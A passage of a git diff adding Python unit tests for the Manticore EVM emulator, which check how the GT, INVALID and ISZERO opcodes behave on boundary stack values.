+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMINVALID.py b/tests/EVM/test_EVMINVALID.py
new file mode 100644
index 0000000..5591106
--- /dev/null
+++ b/tests/EVM/test_EVMINVALID.py
@@ -0,0 +1,63 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_INVALID(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_INVALID_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\xfe'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INVALID')
+            self.assertEqual(new_vm.gas, 1000000)
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMISZERO.py b/tests/EVM/test_EVMISZERO.py
new file mode 100644
index 0000000..5fa503e
--- /dev/null
+++ b/tests/EVM/test_EVMISZERO.py
@@ -0,0 +1,281 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_ISZERO(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_ISZERO_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ISZERO_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_ISZERO_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ISZERO_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ISZERO_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ISZERO_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x15'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
